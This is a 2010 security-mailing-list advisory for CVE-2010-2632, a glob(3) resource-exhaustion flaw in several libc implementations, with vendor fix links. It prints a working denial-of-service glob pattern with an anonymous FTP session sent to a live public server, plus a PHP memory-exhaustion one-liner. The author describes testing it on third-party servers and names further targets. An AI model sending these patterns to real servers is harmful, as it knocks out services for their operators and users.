Date: Thu, 07 Oct 2010 21:13:30 +0200
From: Maksymilian Arciemowicz <cxib@...urityreason.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Multiple Vendors libc/glob(3) resource exhaustion
	(+0day remote ftpd-anon)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Multiple Vendors libc/glob(3) resource exhaustion (+0day remote
ftpd-anon) ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 06.11.2009
- - Pub.: 07.10.2010

CVE: CVE-2010-2632

Affected Software (verified):
- - OpenBSD 4.7
- - NetBSD 5.0.2
- - FreeBSD 7.3/8.1
- - Oracle Sun Solaris 10
- - GNU Libc (glibc)

Affected Ftp Servers:
- - ftp.openbsd.org (verified 02.07.2010: "connection refused" and ban)
- - ftp.netbsd.org (verified 02.07.2010: "connection limit of 160 reached"
and ban)
- - ftp.freebsd.org
- - ftp.adobe.com
- - ftp.hp.com
- - ftp.sun.com
- - more more and more

Affected Vendors (not verified):
- - Apple
- - Microsoft Interix
- - HP
- - more more more

Original URL:
http://securityreason.com/achievement_securityalert/89


- --- 0.Description ---

#include <glob.h>

int  glob(const char *pattern, int flags,
          int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);

Description

This function expands a filename wildcard which is passed as pattern.

     GLOB_LIMIT       Limit the amount of memory used by matches to ARG_MAX.
                      This option should be set for programs that can be
                      coerced to a denial of service attack via patterns
that
                      expand to a very large number of matches, such as
a long
                      string of */../*/..


- --- 1. Multiple Vendors libc/glob(3) resource exhaustion ---
As we can read in definition GLOB_LIMIT:

- --
Limit the amount of memory used by matches to ARG_MAX. This option
should be set for programs that can be coerced to a denial of service
attack via patterns that expand to a very large number of mat
ches, such as a long string of */../*/..
- ---

but now is comming question "what will happen when we use */.. without
matching any results (simple searching)?" GLOB_LIMIT will be not
overflowed. To realize it, we need only use pattern with many
*/.. and many inodes in current directory. On the end of pattern, we
need add some not existed filename (like /cxib*).
If we don't have many files or directories in attacked direcotry, we
need create some dir-structure.

Let's see again:
http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&content-type=text/x-cvsweb-markup

GLOB_LIMIT

protect us before attacks like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

because glob will find more patches as in GLOB_LIMIT declared. Anyway,
if we use path what do not exists (with */.. strings) like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha

GLOB_LIMIT will be never overflowed. Many combinations of paths, will
execute this proces a long time. We can also try allocate
(GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB

Example:
> telnet ftp.netbsd.org 21
Trying 204.152.190.15...
Connected to ftp.netbsd.org.
Escape character is '^]'.
220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready.
user anonymous
331 Guest login ok, type your name as password.
pass anon@...b
230-
    The NetBSD Project FTP Server located in Redwood City, CA, USA
 ...
230-
    EXPORT NOTICE

 ...
230 Guest login ok, access restrictions apply.
stat
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx


this request will generate 100% usage of process a long time. ftpd come
into glob(3) and will not fast out. Very similar sympthon was described
in vulnerability for glibc strfmon(3)

- - http://securityreason.com/achievement_securityalert/67 --
...
Interesting is that the PHP memory_limit has no control over what will
happens in the level of the libc. Function strfmon(3) can allocate a lot of
data in memory without control by PHP memory_limit.

For example:
php -r 'money_format("%.1343741821i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M
...
- - http://securityreason.com/achievement_securityalert/67 --

ftpd also dosen't control what will happen in libc.

so it is enough to send
- ---
USER anonymous
PASS
STAT */..[calculated pattern]
- ---

and disconnect to connect again (bypass firewall limits). In php we can
also bypass max_memory_limit by libc vulns.

Attacking machine in this way, we can call the various side effects.

- -kernel panic in netbsd502---
Jul  5 10:18:13  dhclient: DHCPACK from 192.168.92.254
Jul  5 10:18:14  dhclient: bound to 192.168.92.171 -- renewal in 886
seconds.
Jul  5 10:22:43  syslogd: restart
Jul  5 10:22:43  /netbsd: uvm_fault(0xcc2eb35c, 0, 2) -> 0xe
Jul  5 10:22:43  /netbsd: fatal page fault in supervisor mode
Jul  5 10:22:43  /netbsd: trap type 6 code 2 eip c07d9784 cs 8 eflags
10206 cr2 0 ilevel 0
Jul  5 10:22:43  /netbsd: panic: trap
Jul  5 10:22:43  /netbsd: Begin traceback...
Jul  5 10:22:43  /netbsd: End traceback...
Jul  5 10:22:43  /netbsd:
Jul  5 10:22:43  /netbsd: dumping to dev 0,1 offset 8
Jul  5 10:22:43  /netbsd: dump succeeded
Jul  5 10:22:43  /netbsd:
Jul  5 10:22:43  /netbsd:
Jul  5 10:22:43  /netbsd: rebooting...
Jul  5 10:22:43  /netbsd: Copyright (c) 1996, 1997, 1998, 1999, 2000,
2001, 2002, 2003, 2004, 2005,
- -kernel panic in netbsd502---

- -crash in openbsd47---
# ls
Segmentation fault (core dumped)

or ftpd.core

# gdb -q /usr/libexec/ftpd ftpd.core
(no debugging symbols found)
Core was generated by `ftpd'.
Program terminated with signal 11, Segmentation fault.
#0  0x0a77facb in ?? ()
(gdb) i r
eax            0xffffffff       -1
ecx            0x6      6
edx            0x0      0
ebx            0x18     24
esp            0xcfbc1e70       0xcfbc1e70
ebp            0xcfbc1ea8       0xcfbc1ea8
esi            0x0      0
edi            0x81f78100       -2114486016
eip            0xa77facb        0xa77facb
eflags         0x10206  66054
cs             0x2b     43
ss             0x33     51
ds             0x33     51
es             0x33     51
fs             0x33     51
gs             0x33     51
(gdb) bt
#0  0x0a77facb in ?? ()
Cannot access memory at address 0xcfbc1e70
- -crash in openbsd47---

Presented issue in localized libc, not in ftpd. Try use
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx

in ksh, openssh (sftp-server). sftp is also vulnerable. but they will
kill children process after disconnect.

"What is wrong?",

libc has no control over the computing power glob(3), good fix for this
issue, should control, how many times glob(3) will call to
*readdirfunc(),stat(2) and reducing memory usage.

- -glob.c---
...
static int
glob3(Char *pathbuf, Char *pathend, Char *pathlim, Char *pattern,
    Char *restpattern, glob_t *pglob, size_t *limit)
{
        struct dirent *dp;
        DIR *dirp;
        int error;
        char buf[MAXPATHLEN];

        /*
         * The readdirfunc declaration can't be prototyped, because it is
         * assigned, below, to two functions which are prototyped in glob.h
         * and dirent.h as taking pointers to differently typed opaque
         * structures.
         */
        struct dirent *(*readdirfunc)(void *);
...
        /*
         * Loop over pattern segments until end of pattern or until
         * segment with meta character found.
         */
        for (anymeta = 0;;) {
                if (*pattern == EOS) {          /* End of pattern? */
                        *pathend = EOS;
                        if (g_lstat(pathbuf, &sb, pglob)) <=========
LIMIT THIS CALL ===
                                return 0;

                        if (((pglob->gl_flags & GLOB_MARK) &&
...

        if ((dirp = g_opendir(pathbuf, pglob)) == NULL) {
                if (pglob->gl_errfunc) {
...
        /* Search directory for matching names. */
        if (pglob->gl_flags & GLOB_ALTDIRFUNC)
                readdirfunc = pglob->gl_readdir;
        else
                readdirfunc = (struct dirent *(*)__P((void *))) readdir;
        while ((dp = (*readdirfunc)(dirp)) != NULL) { <=============
LIMIT THIS CALL ===
...
- -glob.c---

As we can see, glob3() will call to (*readdirfunc)() and back to
glob2(). glob2() will come again in glob3()... we need try control, how
many times glob will call to (*readdirfunc)() and stat().
Fix created together with NetBSD devs, should fix this problem.


- --- 2. 0day PoC ---
To sucessfully attack, we need calculate pattern. I am not going show,
how to optimal calulate pattern.
With similar PoC we can try attack ftp.adobe.com, ftp.openbsd.org etc.

0day remote ftpd Denial-of-Service:
http://cxib.net/stuff/glob-0day.c


- --- 3. Fix ---
Oracle 25.09.2010 CET: Being fixed in main codeline

Very thanks for NetBSD project and help NetBSD project like they help
you in fixing this issue

http://netbsd.org/donations/

Fix libc/glob.c for netbsd-4,netbsd-5 branches:
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.c#rev1.18.10.1
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.3#rev1.30.12.1

Fix for openssh (sftp):
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sftp.c#rev1.21.6.1
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sftp-glob.c#rev1.13.12.1

http://netbsd.org/donations/
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.asc


- --- 4. Greets ---
Special thanks for Christos Zoulas

sp3x, Infospec, Adam Zabrocki 'pi3'


- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/

- -- 
Best Regards
pub   4096R/D6E5B530 2010-09-19
uid                  Maksymilian Arciemowicz (cx) <max@...b.net>
sub   4096R/58BA663C 2010-09-19
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJMrhvYAAoJEIO8+dzW5bUwqCcQAK7C3XSe5r4EuQA985cFdoL7
2TnDB9QVl/DnbqsZpNM42arjaaM9z2E0Lr5c6D/BDsb5LHNLVHeewDBo/8sS8BZE
cV1X05hOMISXgv54VHGyUYCikiFD5LU1Na5QeS6/D9RWHwVHEzl6LwPtcKuhEzkV
K1gC8n3/ZmZaBkAX6L8xjSyabQBhFA5fw79ZxlamyT8kuhV963Ewl9lt/XcVK0ou
fq5WnQo7R1GQ+7cDVxiTI8BSusm0phN2S28H8Yh576QdWvKGWMsUQsCBEWDNTzji
oEv8qfcZ+4THyKrcCv5Ee49c/vyn72/9f0HdBTXS0CdnGz7Tde5s8G9Axn7GZ86B
pZpFUl3J7rJOWyoQn4RyB5zdZ91oBmrR1tUWFZDKXlwH4g/2WoaPcw3bJu4xUGIz
sr5AgAyH9xAb1k7j9YY02bfKb217JaRi+XnicJMvw65rqR44KzSm5w0o22qs68tp
GzsBhRkP+PGiHdI5616iPgIh+xhaWr0sDBChQaEzv6OaJ3THux1Tsk5Uhe5eKQ1J
dUS3Sj9w/Ox4oLcrLevuefrTBoptEjnaT7OnlVFKT84+Udc/KZfhc8qAZ9t3BCV2
GQB4Wilulhjayvhm+44B5hFzP+JZp7Sawk7jwnoSjyGbUxiJk98TBv3XICtIBn0T
Ty+XUWCIFpiqTpxQli4K
=tCg+
-----END PGP SIGNATURE-----

Download attachment "0xD6E5B530.asc" of type "application/pgp-keys" (3086 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists